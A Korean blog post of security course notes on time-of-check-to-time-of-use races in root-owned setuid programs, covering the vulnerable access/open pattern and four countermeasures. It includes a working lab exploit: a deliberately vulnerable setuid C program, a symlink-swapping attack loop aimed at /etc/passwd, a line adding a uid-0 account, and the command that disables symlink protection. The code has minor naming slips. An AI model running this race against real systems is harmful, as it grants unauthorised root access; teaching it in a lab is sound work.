일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- dirty cow
- Unreal Engine
- 언리얼 엔진
- sampling theory
- 운영체제
- frequency-domain spectrum analysis
- pdlc
- DP
- 유스케이스
- 유니티
- TSet
- MLFQ
- CTF
- linear difference equation
- 메카님
- gas
- Security
- stride
- Rr
- ret2libc
- Double free
- 언리얼엔진
- ability task
- Race condition
- MAC
- 게임 개발
- dtft
- AINCAA
- DSP
- 게임개발
- Today
- Total
다양한 기록
ToCTToU (Time of Check-to-Time of Use) Vulnerability 본문
ToCTToU (Time of Check-to-Time of Use) Vulnerability
- 액세스 체크와 오픈 사이에 바꿔치기를 함
루트 소유 setuid 프로그램
* 이거 아니면 애초에 /etc/passwd 못열음
if( !access("/tmp/X", W_OK) )
{
f = open("/tmp/X", O_WRITE);
write_to_file(f);
}
access는 특이한 시스템 콜.. ruid 기반으로 권한 체크함
open은 euid 기반으로 체크함
열고 싶은 파일은 /etc/passwd .. 열어서 루트 계정을 추가하고자 함 (uid, 즉 세번째 필드가 0)
목표: /etc/passwd같이 보호되는 파일에 쓰기
- 심볼릭 링크가 도움이 됨
Sticky Directory
- 누구나 파일을 만들 수는 있지만,
- 파일 주인, 디렉토리 주인, 루트 유저만 리네임하거나 삭제 가능함
/tmp 말고는 보통 잘 안씀
$ chmod +t mytmp
# chmod 7755 mytmp ... -rwsr-sr-t
프로그램 A, V
A1: /tmp/X가 유저 소유 파일을 가리키게 함
A2: /tmp/X가 /etc/passwd를 가리키게 함
V1: /tmp/X 퍼미션 체크 (access)
V2: 파일 open
A1 -> V1 -> A2 -> V2 순서로 컨텍스트 스위칭이 일어날 때까지 반복
* 처음부터 /etc/passwd에 작성을 하려면 access에 막힘
file = "/tmp/X"
fileExist = check_file_existance(file);
if( fileExist == FALSE )
f = open(file, O_CREAT)
....write...
파일이 없으면 만들고 쓰는 프로그램인데,
FASLE 체크랑 open 사이에 /tmp/X를 /etc/passwd를 가리키게 바꿔버리면 /etc/passwd가 열림
vul.c
#include <stdio.h>
#include <unistd.h>
int main()
{
char *hn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
scanf("%50s", buffer);
if( !access(fn, W_OK) )
{
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else
{
printf("No Permission\n");
}
return 0;
}
입력을 받아 파일에 쓰는 프로그램
gcc -o vul vul.c
sudo chown root vulp
sudo chmod 4755 vulp
환경
sudo sysctl -w fs.protected_symlinks=0
exploit
- 타겟 파일 선정 (/etc/passwd)
- 공격 시작 (attack process, vulnerable process)
- 결과 관찰
1. 타겟 파일 선정
- /etc/passwd
- passwd_input 파일에 써진대로 추가하기 (test:vfkslrg1:0:0:test:root:/bin/bash)
2.1. target_process ( Vul program )
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" = "$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "Stop.. The passwd file has been changed"
ls -l에는 사이즈가 포함.. 변경이 있으면 값이 달라짐
2.2. attack_process ( Attack Program )
#include <unistd.h>
int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("./myfile", "/tmp/XYZ");
usleep(10000);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(10000);
}
return 0;
}
슬립은 그 사이에 공격이 들어가야 하니 잠시 멈춰주는 정도의 역할
3. Exploit
$ ./attack_process &
$ ./target_process
No permission
No permission
....
Stop.. The passwd file has been changed
$
$ su test
Passwd:
#
#
vulp 를 target_process에서 expolit 성공 시 까지 반복적으로 돌림
attack_process는 링크를 계속해서 자신 파일로 바꿨다가 /etc/passwd로 돌려줌
대처법
- 원자적 연산 (Atomic Operations)
- 체크와 유즈를 반복 .. race에서 이기기 어렵게 함
- Sticky Symlink Protection .. symbolic link 생성 예방
- 최소 권한의 원칙 .. 레이스에서 이겨도 할 수 있는게 최소화되도록
1. Atomic Operations
fopen(file, O_CREAT | O_EXCL)
이러면 이미 있는 파일은 안 열림
아니면 락, 언락하기
f = open(file, O_WRITE | O_REAL_USER_ID)
이건 실제로 있는 건 아니고 하나의 아이디어
open 시 ruid 체크
2. Repeating Check and Use
access -> open을 세 번 반복 => fd 세 개 나옴
이 세개의 fd가 같아야 write
100% 막는 건 안되지만 공격의 가능성은 낮출 수 있음
3. Sticky Symlink Protection
Follewer (EUID) | Directory Owner | Symlink Owner | Decision(fopen()) |
user | user | user | Allowed |
user | user | root | Denied |
user | root | user | Allowed |
user | root | root | Allowed |
root | user | user | Allowed |
root | user | root | Allowed |
root | root | seed | Denied |
root | root | root | Allowed |
* 심볼링 링크의 Owner와 (euid 또는 디렉토리 오너)가 둘 중 하나는 같아야 허가해 줌
$ sudo sysctl -w fs.protected_symlinks=1
스틱키 심링크 프로텍션이 활성화 시 스틱키 world-writable 디렉토리의 심볼링 링크는,
심볼링 링크의 오너와 follower(프로세스 euid) 또는 디렉토리 오너와 같아야 함
아니면 오픈 허가 안됨
4. Principle of Least Privilege (최소 권한의 원칙)
- 프로그램은 태스크에 필요한 만큼을 넘는 권한을 가지면 안됨
- seteuid, setuid가 이를 위해 많이 사용됨
uid_t ruid = getuid()
uid_t euid = geteuid()
seteuid(ruid);
f = open("/tmp/X", O_WRITE);
if( f != -1 )
write_to_file(f);
else
fprintf(stderr, "Permission denied\n");
seteuid(euid);
루트 소유 setuid 프로그램이니까, 일단 오픈 시에만 euid를 ruid에 맞춰 바꿈
'운영체제보안' 카테고리의 다른 글
Dirty COW #2 mmap(), madvise() (0) | 2024.12.06 |
---|---|
Dirty COW #1 Copy-on-Write (0) | 2024.12.06 |
Race Condition Problem (0) | 2024.12.06 |
Return-Oriented Programming (ROP) (0) | 2024.12.06 |
Chaining Function Calls (without arguments) (0) | 2024.12.05 |